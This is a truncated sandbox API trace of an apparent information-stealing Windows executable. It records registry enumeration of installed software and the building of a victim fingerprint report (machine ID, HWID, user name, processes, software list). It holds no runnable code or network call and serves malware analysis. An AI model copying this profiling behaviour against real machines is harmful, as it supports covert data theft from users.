[0054.961] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\n"
[0054.961] RegCloseKey (hKey=0x514) returned 0x0
[0054.961] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x23, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001A-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.961] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001A-0409-0000-0000000FF1CE}") returned 90
[0054.961] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001A-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.962] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Outlook MUI (English) 2016", lpcbData=0x1816c0*=0x25) returned 0x0
[0054.962] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Outlook MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe 